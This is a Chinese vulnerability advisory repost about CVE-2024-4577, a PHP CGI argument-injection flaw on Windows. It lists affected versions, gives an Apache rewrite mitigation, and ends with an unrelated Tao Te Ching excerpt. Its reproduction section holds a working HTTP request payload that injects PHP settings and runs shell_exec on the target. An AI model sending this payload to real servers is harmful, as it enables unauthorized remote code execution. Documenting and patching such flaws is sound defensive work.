Bootstrap

【CVE-2024-4577】PHP CGI 远程代码执行漏洞

# 转载

本文出自:【CVE-2024-4577】PHP CGI 远程代码执行漏洞 - 极核GetShell (get-shell.com)

# 漏洞描述

PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的Best-Fit特性,导致未认证的攻击者可透过特定的字元序列绕过旧有CVE-2012-1823的保护,透过参数注入等攻击在远端PHP 服务器上执行任意代码。该漏洞在特定PHP版本和简体(繁体)中文、日语语言等语言环境下的Windows平台,可以绕过CVE-2012-1823的保护。

# 影响版本

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29
  • Windows平台的语言环境
    • 繁体中文(字码页950)
    • 简体中文(字码页936)
    • 日文(字码页932)
    • 对于其它执行在英文、韩文、西欧语系之 Windows 操作系统,由于 PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议用户全面盘点资产、确认使用情境并更新 PHP 至最新版本确保万无一失!

# 修补建议

  • 更新到PHP官方发布的最新PHP版本
  • 如无法更新建议编写Rewrite 规则阻止攻击,注意:此份规则只作为繁体中文、简体中文及日文语系中的暂时性缓解机制,建议以更新版本进行修复
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

# 漏洞复现

GET /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 172.17.148.112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 31

<?php echo shell_exec('dir');?>

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;